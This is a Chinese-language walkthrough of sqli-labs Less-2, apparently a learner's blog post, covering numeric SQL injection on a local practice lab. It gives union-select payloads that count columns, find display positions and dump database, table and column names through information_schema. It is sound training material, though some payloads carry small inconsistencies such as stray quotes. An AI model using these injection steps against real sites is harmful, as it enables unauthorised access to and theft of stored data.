sqli-labs第二關 詳解

學會了第一關,時隔多天來到了第二關,怎麼說了沒有看wp就給做出來了。

首先,我是自己先判斷了下,這個是什麼注入

?id=1’  不行

?id=1′ or ‘1’=’1–+  也不行

然後又嘗試了下

?id=1 and 1=1  頁面顯示正常

?id=1 and 1=2  頁面又錯誤回顯

然後這就是數字注入了

於是我們去查庫,跟第一關的思路是一樣的。然後就爆出了庫。如果不懂的可以點這個鏈接。

 //www.cnblogs.com/junlebao/p/13758919.html

 sql注入一般步驟:

第一步:通過特殊的資料庫查詢語句

第二步:在資料庫的錯誤返回中找到sql漏洞

第三步:利用sql語句猜解管理人員資訊並登錄管理員後台

判斷注入類型

數字型注入

1. url為 //127.0.0.1/sqli-labs/Less-2/?id=1’時,因為有一個多餘的”單引號”使查詢語句錯誤

2. url為 //127.0.0.1/sqli-labs/Less-2/?id=1 and 1=1時,沒有報錯

3. url為 //127.0.0.1/sqli-labs/Less-2/?id=1 and 1=2時,由於1=2不成立,也會報錯

滿足這三個,基本上就是數字注入了

字元型注入

1. url為 //127.0.0.1/sqli-labs/Less-2/?id=1’時,資料庫認為id叫做1’。查詢之後發現沒有這個id而返回錯誤。(在字元型注入中,需要考慮引號的閉合)

2. url為 //127.0.0.1/sqli-labs/Less-2/?id=1′ and ‘1’=’1 在’1’=’1之後沒有加上’是因為傳參時輸入的內容已經被’ ‘包圍。

後台查詢列數

使用order by試出資料庫列數

url為 //127.0.0.1/sqli-labs/Less-2/?id=1′ order by 數字 (如果試4時有錯誤,3時正確,那麼列數為3)

找顯示位

使用union select找出會返回客戶端並顯示的列。如果有3列時,應該這麼寫

url為 //127.0.0.1/sqli-labs/Less-2/?id=1′ union select 1,2,3

加入顯示位是3,這就意味著資料庫開放了5個「窗口」用來顯示內容,用查詢到的數據,在這些窗口顯示數據

查庫名

聯合查詢:select database();

下面是查看資料庫的版本和資料庫資訊

假如顯示位是3,//127.0.0.1/sqli-labs/Less-2/?id=1′ union select 1,version,database()

查表名

找到庫名以後,使用//127.0.0.1/sqli-labs/Less-2/?id=1′ union select 1,2,table_name from information_schema.tables where table_schema=’庫名’ (如果庫名是字元型,此處庫名要轉成十六進位)

information_schema:

這是一個mysql自帶的庫,其中保存著關於mysql伺服器所維護的所有其他資料庫的資訊。如資料庫名,資料庫的表,表列的數據類型與訪問許可權等,所以我們查詢這個庫

查列名

找到表之後,使用//127.0.0.1/sqli-labs/Less-2/?id=1′ union select 1,2,column_name from information_schema.columns where table_name=’表名’ (如果表名是字元型,此處庫名要轉成十六進位)

如果表數或列數過多,可以在最後使用limit加上limit 0,5相當於檢索1-5條資訊

查具體數據

找到列之後,使用//127.0.0.1/sqli-labs/Less-2/?id=1′ union select 1,2,group_concat(“要查詢的數據”) from 表名

Tags: